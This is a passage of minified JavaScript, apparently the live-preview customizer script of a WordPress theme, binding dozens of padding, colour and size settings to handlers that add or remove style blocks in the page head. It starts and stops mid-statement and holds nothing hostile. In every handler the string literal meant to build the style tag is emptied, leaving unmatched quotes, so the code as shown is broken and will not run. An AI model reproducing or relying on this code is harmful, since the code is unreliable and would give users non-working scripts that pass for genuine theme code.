o=n(".customizer-ocean_sidebar_mobile_bottom_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_sidebar_mobile_left_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_sidebar_mobile_left_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_widgets_bg",function(e){e.bind(function(e){var o=n(".customizer-ocean_widgets_bg");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_widgets_top_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_widgets_top_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_widgets_right_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_widgets_right_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_widgets_bottom_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_widgets_bottom_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_widgets_left_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_widgets_left_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_widgets_tablet_top_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_widgets_tablet_top_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_widgets_tablet_right_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_widgets_tablet_right_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_widgets_tablet_bottom_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_widgets_tablet_bottom_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_widgets_tablet_left_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_widgets_tablet_left_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_widgets_mobile_top_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_widgets_mobile_top_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_widgets_mobile_right_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_widgets_mobile_right_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_widgets_mobile_bottom_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_widgets_mobile_bottom_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_widgets_mobile_left_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_widgets_mobile_left_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_widgets_margin_bottom",function(e){e.bind(function(e){var o=n(".customizer-ocean_widgets_margin_bottom");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_widgets_titles_border_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_widgets_titles_border_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_widgets_titles_margin_bottom",function(e){e.bind(function(e){var o=n(".customizer-ocean_widgets_titles_margin_bottom");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_top_bar_top_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_top_bar_top_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_top_bar_right_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_top_bar_right_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_top_bar_bottom_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_top_bar_bottom_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_top_bar_left_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_top_bar_left_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_top_bar_tablet_top_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_top_bar_tablet_top_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_top_bar_tablet_right_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_top_bar_tablet_right_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_top_bar_tablet_bottom_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_top_bar_tablet_bottom_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_top_bar_tablet_left_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_top_bar_tablet_left_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_top_bar_mobile_top_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_top_bar_mobile_top_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_top_bar_mobile_right_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_top_bar_mobile_right_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_top_bar_mobile_bottom_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_top_bar_mobile_bottom_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_top_bar_mobile_left_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_top_bar_mobile_left_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_top_bar_social_font_size",function(e){e.bind(function(e){var o=n(".customizer-ocean_top_bar_social_font_size");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_top_bar_social_tablet_font_size",function(e){e.bind(function(e){var o=n(".customizer-ocean_top_bar_social_tablet_font_size");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_top_bar_social_mobile_font_size",function(e){e.bind(function(e){var o=n(".customizer-ocean_top_bar_social_mobile_font_size");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_top_bar_social_right_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_top_bar_social_right_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_top_bar_social_left_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_top_bar_social_left_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_top_bar_social_tablet_right_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_top_bar_social_tablet_right_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_top_bar_social_tablet_left_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_top_bar_social_tablet_left_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_top_bar_social_mobile_right_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_top_bar_social_mobile_right_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_top_bar_social_mobile_left_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_top_bar_social_mobile_left_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_top_bar_social_links_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_top_bar_social_links_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_top_bar_social_hover_links_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_top_bar_social_hover_links_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_header_top_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_header_top_padding");e&&!t.hasClass("medium-header")?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_header_right_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_header_right_padding");e&&!t.hasClass("medium-header")?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_header_bottom_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_header_bottom_padding");e&&!t.hasClass("medium-header")?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_header_left_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_header_left_padding");e&&!t.hasClass("medium-header")?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_header_tablet_top_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_header_tablet_top_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_header_tablet_right_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_header_tablet_right_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_header_tablet_bottom_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_header_tablet_bottom_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_header_tablet_left_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_header_tablet_left_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_header_mobile_top_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_header_mobile_top_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_header_mobile_right_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_header_mobile_right_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_header_mobile_bottom_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_header_mobile_bottom_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_header_mobile_left_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_header_mobile_left_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_header_background",function(e){e.bind(function(e){var o=n(".customizer-ocean_header_background");e&&!n("#site-header").hasClass("medium-header")?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_header_border_bottom",function(e){e.bind(function(e){var o=n(".customizer-ocean_header_border_bottom");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_transparent_header_bg",function(e){e.bind(function(e){var o=n(".customizer-ocean_transparent_header_bg");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_full_screen_header_hamburger_icon_width",function(e){e.bind(function(e){var o=n(".customizer-ocean_full_screen_header_hamburger_icon_width");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_full_screen_header_hamburger_icon_height",function(e){e.bind(function(e){var o=n(".customizer-ocean_full_screen_header_hamburger_icon_height");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_full_screen_header_hamburger_icon_gap",function(e){e.bind(function(e){var o=n(".customizer-ocean_full_screen_header_hamburger_icon_gap");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_full_screen_header_menu_bar_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_full_screen_header_menu_bar_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_full_screen_header_menu_bar_close_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_full_screen_header_menu_bar_close_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_full_screen_header_bg",function(e){e.bind(function(e){var o=n(".customizer-ocean_full_screen_header_bg");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_full_screen_header_links_bg_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_full_screen_header_links_bg_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_full_screen_header_links_hover_bg_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_full_screen_header_links_hover_bg_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_full_screen_header_links_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_full_screen_header_links_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_full_screen_header_links_hover_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_full_screen_header_links_hover_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_full_screen_header_search_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_full_screen_header_search_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_full_screen_header_search_dashed_bg",function(e){e.bind(function(e){var o=n(".customizer-ocean_full_screen_header_search_dashed_bg");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_full_screen_header_search_border_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_full_screen_header_search_border_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_full_screen_header_search_hover_border_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_full_screen_header_search_hover_border_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_full_screen_header_search_focus_border_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_full_screen_header_search_focus_border_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_top_header_menu_background",function(e){e.bind(function(e){var o=n(".customizer-ocean_top_header_menu_background");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_top_header_search_button_border_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_top_header_search_button_border_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_top_header_search_button_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_top_header_search_button_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_top_header_search_button_hover_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_top_header_search_button_hover_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_medium_header_top_header_bg",function(e){e.bind(function(e){var o=n(".customizer-ocean_medium_header_top_header_bg");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_medium_header_top_header_top_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_medium_header_top_header_top_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_medium_header_top_header_bottom_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_medium_header_top_header_bottom_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_medium_header_top_header_tablet_top_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_medium_header_top_header_tablet_top_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_medium_header_top_header_tablet_bottom_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_medium_header_top_header_tablet_bottom_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_medium_header_top_header_mobile_top_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_medium_header_top_header_mobile_top_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_medium_header_top_header_mobile_bottom_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_medium_header_top_header_mobile_bottom_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_medium_header_sticky_top_header_top_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_medium_header_sticky_top_header_top_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_medium_header_sticky_top_header_bottom_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_medium_header_sticky_top_header_bottom_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_medium_header_sticky_top_header_tablet_top_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_medium_header_sticky_top_header_tablet_top_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_medium_header_sticky_top_header_tablet_bottom_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_medium_header_sticky_top_header_tablet_bottom_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_medium_header_sticky_top_header_mobile_top_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_medium_header_sticky_top_header_mobile_top_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_medium_header_sticky_top_header_mobile_bottom_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_medium_header_sticky_top_header_mobile_bottom_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_medium_header_menu_items_right_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_medium_header_menu_items_right_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_medium_header_menu_items_left_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_medium_header_menu_items_left_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_medium_header_menu_items_tablet_right_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_medium_header_menu_items_tablet_right_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_medium_header_menu_items_tablet_left_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_medium_header_menu_items_tablet_left_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_medium_header_menu_items_mobile_right_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_medium_header_menu_items_mobile_right_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_medium_header_menu_items_mobile_left_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_medium_header_menu_items_mobile_left_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_medium_header_menu_height",function(e){e.bind(function(e){var o=n(".customizer-ocean_medium_header_menu_height");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_medium_header_menu_bg",function(e){e.bind(function(e){var o=n(".customizer-ocean_medium_header_menu_bg");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_medium_header_search_bg",function(e){e.bind(function(e){var o=n(".customizer-ocean_medium_header_search_bg");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_medium_header_search_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_medium_header_search_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_medium_header_search_placeholder_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_medium_header_search_placeholder_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_medium_header_search_button_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_medium_header_search_button_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_medium_header_search_button_hover_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_medium_header_search_button_hover_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_vertical_header_collapse_width",function(e){e.bind(function(e){var o=n(".customizer-ocean_vertical_header_collapse_width");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_vertical_header_width",function(e){e.bind(function(e){var o=n(".customizer-ocean_vertical_header_width");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_vertical_header_inner_top_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_vertical_header_inner_top_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_vertical_header_inner_right_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_vertical_header_inner_right_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_vertical_header_inner_bottom_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_vertical_header_inner_bottom_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_vertical_header_inner_left_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_vertical_header_inner_left_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_vertical_header_inner_tablet_top_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_vertical_header_inner_tablet_top_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_vertical_header_inner_tablet_right_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_vertical_header_inner_tablet_right_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_vertical_header_inner_tablet_bottom_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_vertical_header_inner_tablet_bottom_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_vertical_header_inner_tablet_left_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_vertical_header_inner_tablet_left_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_vertical_header_inner_mobile_top_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_vertical_header_inner_mobile_top_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_vertical_header_inner_mobile_right_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_vertical_header_inner_mobile_right_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_vertical_header_inner_mobile_bottom_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_vertical_header_inner_mobile_bottom_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_vertical_header_inner_mobile_left_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_vertical_header_inner_mobile_left_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("vertical_header_search_border_width",function(e){e.bind(function(e){var o=n(".customizer-vertical_header_search_border_width");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_vertical_header_search_border_radius",function(e){e.bind(function(e){var o=n(".customizer-ocean_vertical_header_search_border_radius");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_vertical_header_search_bg",function(e){e.bind(function(e){var o=n(".customizer-ocean_vertical_header_search_bg");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_vertical_header_search_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_vertical_header_search_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_vertical_header_search_btn_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_vertical_header_search_btn_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_vertical_header_search_border_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_vertical_header_search_border_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_vertical_header_search_hover_border_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_vertical_header_search_hover_border_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_vertical_header_search_focus_border_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_vertical_header_search_focus_border_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_header_image_overlay_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_header_image_overlay_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_vertical_header_search_btn_hover_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_vertical_header_search_btn_hover_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_vertical_header_hamburger_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_vertical_header_hamburger_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_vertical_header_menu_items_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_vertical_header_menu_items_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_vertical_header_menu_items_border_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_vertical_header_menu_items_border_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_vertical_header_sub_menu_bg",function(e){e.bind(function(e){var o=n(".customizer-ocean_vertical_header_sub_menu_bg");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_vertical_header_sub_menu_links_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_vertical_header_sub_menu_links_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_vertical_header_sub_menu_links_hover_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_vertical_header_sub_menu_links_hover_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_vertical_header_sub_menu_links_bg",function(e){e.bind(function(e){var o=n(".customizer-ocean_vertical_header_sub_menu_links_bg");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_vertical_header_sub_menu_links_hover_bg",function(e){e.bind(function(e){var o=n(".customizer-ocean_vertical_header_sub_menu_links_hover_bg");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_logo_max_width",function(e){e.bind(function(e){var o=n(".customizer-ocean_logo_max_width");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_logo_max_width_tablet",function(e){e.bind(function(e){var o=n(".customizer-ocean_logo_max_width_tablet");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_logo_max_width_mobile",function(e){e.bind(function(e){var o=n(".customizer-ocean_logo_max_width_mobile");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_logo_max_height",function(e){e.bind(function(e){var o=n(".customizer-ocean_logo_max_height");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_logo_max_height_tablet",function(e){e.bind(function(e){var o=n(".customizer-ocean_logo_max_height_tablet");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_logo_max_height_mobile",function(e){e.bind(function(e){var o=n(".customizer-ocean_logo_max_height_mobile");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_logo_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_logo_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_logo_hover_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_logo_hover_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_responsive_logo_height",function(e){e.bind(function(e){var o=n(".customizer-ocean_responsive_logo_height");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_search_overlay_bg",function(e){e.bind(function(e){var o=n(".customizer-ocean_search_overlay_bg");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_search_overlay_input_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_search_overlay_input_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_search_overlay_placeholder_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_search_overlay_placeholder_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_search_overlay_input_dashed_bg",function(e){e.bind(function(e){var o=n(".customizer-ocean_search_overlay_input_dashed_bg");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_search_overlay_input_border_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_search_overlay_input_border_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_search_overlay_input_hover_border_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_search_overlay_input_hover_border_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_search_overlay_input_focus_border_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_search_overlay_input_focus_border_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_search_overlay_close_button_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_search_overlay_close_button_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_menu_links_effect_blue_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_menu_links_effect_blue_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_menu_links_effect_dark_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_menu_links_effect_dark_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_search_overlay_close_button_hover_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_search_overlay_close_button_hover_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_menu_items_padding",function(e){e.bind(function(e){var 